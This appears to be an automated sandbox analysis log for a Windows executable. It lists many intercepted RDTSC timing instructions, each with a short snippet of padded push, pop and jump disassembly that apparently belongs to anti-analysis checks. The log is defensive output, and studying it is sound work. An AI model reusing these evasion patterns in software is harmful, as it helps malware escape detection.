Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1159FE6 second address: 115A007 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 js 00007F0DED622DA4h 0x0000000c push ecx 0x0000000d jmp 00007F0DED622D82h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115A15A second address: 115A16C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0DECD2416Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115A16C second address: 115A172 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115A172 second address: 115A176 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115A176 second address: 115A17A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115A17A second address: 115A1B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F0DECD24166h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007F0DECD2416Bh 0x00000011 pop edx 0x00000012 pop eax 0x00000013 pushad 0x00000014 jmp 00007F0DECD24175h 0x00000019 pushad 0x0000001a je 00007F0DECD24166h 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11601F2 second address: 11601FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11601FA second address: 1160209 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F0DECD24166h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1160209 second address: 116020D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115EBD8 second address: 115EC17 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 push edx 0x00000007 pop edx 0x00000008 jg 00007F0DECD24166h 0x0000000e pushad 0x0000000f popad 0x00000010 popad 0x00000011 pop ecx 0x00000012 pushad 0x00000013 jmp 00007F0DECD24176h 0x00000018 jc 00007F0DECD2416Eh 0x0000001e jbe 00007F0DECD24166h 0x00000024 pushad 0x00000025 popad 0x00000026 jc 00007F0DECD2416Ch 0x0000002c push eax 0x0000002d push edx 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115ED7E second address: 115ED82 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115ED82 second address: 115ED97 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0DECD2416Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115ED97 second address: 115ED9F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115ED9F second address: 115EDA4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115EF00 second address: 115EF07 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115EF07 second address: 115EF0C instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115F3BF second address: 115F3C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115F962 second address: 115F984 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0DECD2416Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push edi 0x0000000a jns 00007F0DECD2416Ah 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115F984 second address: 115F98E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F0DED622D76h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115F98E second address: 115F992 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1160032 second address: 1160038 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1160038 second address: 1160041 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1160041 second address: 116004B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F0DED622D76h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116004B second address: 1160059 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jp 00007F0DECD24166h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1160059 second address: 116005D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116005D second address: 1160066 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1160066 second address: 116006C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1168D78 second address: 1168D7E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1168D7E second address: 1168D9D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 pushad 0x00000007 jmp 00007F0DED622D7Ah 0x0000000c je 00007F0DED622D76h 0x00000012 jbe 00007F0DED622D76h 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116901F second address: 1169023 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1169023 second address: 1169029 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1169029 second address: 116905B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0DECD24179h 0x00000007 pushad 0x00000008 pushad 0x00000009 popad 0x0000000a jnp 00007F0DECD24166h 0x00000010 push edx 0x00000011 pop edx 0x00000012 popad 0x00000013 pop edx 0x00000014 pop eax 0x00000015 push esi 0x00000016 jo 00007F0DECD2416Eh 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11692FD second address: 1169308 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1169308 second address: 116930C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1169731 second address: 1169735 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1169735 second address: 116976A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0DECD24176h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push edx 0x0000000c jno 00007F0DECD24166h 0x00000012 jmp 00007F0DECD2416Dh 0x00000017 pop edx 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116976A second address: 116976E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1170205 second address: 1170209 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1170209 second address: 117021D instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F0DED622D76h 0x00000008 je 00007F0DED622D76h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117021D second address: 1170221 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1170221 second address: 1170225 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1170225 second address: 117022B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117022B second address: 1170231 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116FC24 second address: 116FC33 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jns 00007F0DECD24166h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116FC33 second address: 116FC37 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116FC37 second address: 116FC41 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F0DECD24166h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116FD80 second address: 116FDA2 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F0DED622D76h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F0DED622D84h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116FDA2 second address: 116FDA6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117268A second address: 1172699 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0DED622D7Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1172699 second address: 11726B7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 ja 00007F0DECD24166h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push esi 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F0DECD2416Bh 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11726B7 second address: 11726BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1172299 second address: 11722B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F0DECD24175h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11722B5 second address: 11722B9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11722B9 second address: 11722BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11722BF second address: 11722C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edi 0x00000009 pop edi 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11722C9 second address: 11722D3 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F0DECD24166h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1177B94 second address: 1177BA0 instructions: 0x00000000 rdtsc 0x00000002 js 00007F0DED622D76h 0x00000008 push eax 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1177BA0 second address: 1177BAB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 push ebx 0x00000006 pop ebx 0x00000007 popad 0x00000008 push ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117704B second address: 1177059 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 je 00007F0DED622D76h 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1177059 second address: 117705D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117705D second address: 1177063 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1177420 second address: 1177424 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117D460 second address: 117D466 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117D466 second address: 117D46A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117BE2D second address: 117BE33 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112CA13 second address: 112CA5F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0DECD24174h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F0DECD2416Bh 0x0000000e popad 0x0000000f mov dword ptr [esp], eax 0x00000012 mov dword ptr [ebp+12480DA4h], edi 0x00000018 push 00000004h 0x0000001a movzx edx, di 0x0000001d push eax 0x0000001e push eax 0x0000001f push edx 0x00000020 jmp 00007F0DECD24177h 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112CA5F second address: 112CA64 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117C62C second address: 117C669 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F0DECD2416Ah 0x0000000a popad 0x0000000b jnp 00007F0DECD24192h 0x00000011 jbe 00007F0DECD2416Eh 0x00000017 push eax 0x00000018 pop eax 0x00000019 jbe 00007F0DECD24166h 0x0000001f push ebx 0x00000020 jmp 00007F0DECD24176h 0x00000025 push eax 0x00000026 push edx 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117C7D7 second address: 117C7DB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117D167 second address: 117D189 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b jns 00007F0DECD24166h 0x00000011 pop edx 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F0DECD2416Eh 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117D189 second address: 117D198 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0DED622D7Bh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117D198 second address: 117D1B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F0DECD2416Ch 0x0000000b popad 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f push ebx 0x00000010 pop ebx 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117FD09 second address: 117FD24 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 jmp 00007F0DED622D86h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117FD24 second address: 117FD4A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 je 00007F0DECD24166h 0x00000009 jmp 00007F0DECD2416Ch 0x0000000e push esi 0x0000000f pop esi 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 jnl 00007F0DECD24166h 0x00000019 jng 00007F0DECD24166h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118016C second address: 1180176 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1181B48 second address: 1181B64 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0DECD24176h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1181B64 second address: 1181B73 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push ecx 0x00000007 je 00007F0DED622D82h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1187143 second address: 118715C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0DECD24170h 0x00000009 push edi 0x0000000a pop edi 0x0000000b push eax 0x0000000c pop eax 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118715C second address: 118716C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0DED622D7Ah 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118716C second address: 1187190 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F0DECD24166h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F0DECD24176h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1187729 second address: 118774B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0DED622D80h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jnl 00007F0DED622D76h 0x00000011 ja 00007F0DED622D76h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118774B second address: 118774F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118774F second address: 1187776 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0DED622D83h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop edx 0x0000000c push ebx 0x0000000d push ecx 0x0000000e pushad 0x0000000f popad 0x00000010 pop ecx 0x00000011 push eax 0x00000012 push edx 0x00000013 jo 00007F0DED622D76h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1187A1F second address: 1187A38 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F0DECD24171h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118858F second address: 118863C instructions: 0x00000000 rdtsc 0x00000002 jne 00007F0DED622D76h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push ecx 0x0000000b jmp 00007F0DED622D7Eh 0x00000010 jmp 00007F0DED622D7Dh 0x00000015 pop ecx 0x00000016 popad 0x00000017 pushad 0x00000018 pushad 0x00000019 push ebx 0x0000001a pop ebx 0x0000001b jmp 00007F0DED622D87h 0x00000020 pushad 0x00000021 popad 0x00000022 pushad 0x00000023 popad 0x00000024 popad 0x00000025 pushad 0x00000026 js 00007F0DED622D76h 0x0000002c pushad 0x0000002d popad 0x0000002e jmp 00007F0DED622D89h 0x00000033 jmp 00007F0DED622D7Eh 0x00000038 popad 0x00000039 pushad 0x0000003a jmp 00007F0DED622D89h 0x0000003f jmp 00007F0DED622D7Fh 0x00000044 jng 00007F0DED622D76h 0x0000004a popad 0x0000004b push eax 0x0000004c push edx 0x0000004d pushad 0x0000004e popad 0x0000004f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118863C second address: 1188640 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11888D1 second address: 11888E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F0DED622D76h 0x0000000a jns 00007F0DED622D76h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11888E3 second address: 11888E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1188B8B second address: 1188B9C instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F0DED622D7Ch 0x00000008 push edi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1188E4B second address: 1188E67 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 jmp 00007F0DECD24177h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1188E67 second address: 1188E9E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jns 00007F0DED622D76h 0x00000009 je 00007F0DED622D76h 0x0000000f jmp 00007F0DED622D7Eh 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007F0DED622D82h 0x0000001e pushad 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1188E9E second address: 1188EBC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F0DECD24176h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1188EBC second address: 1188EC1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11924BB second address: 11924C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11924C1 second address: 11924D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F0DED622D81h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11924D7 second address: 11924E3 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push esi 0x00000004 pop esi 0x00000005 pushad 0x00000006 popad 0x00000007 pop ecx 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11914CC second address: 11914FC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0DED622D7Eh 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jno 00007F0DED622D82h 0x00000011 push eax 0x00000012 push edx 0x00000013 jno 00007F0DED622D76h 0x00000019 push esi 0x0000001a pop esi 0x0000001b rdtsc
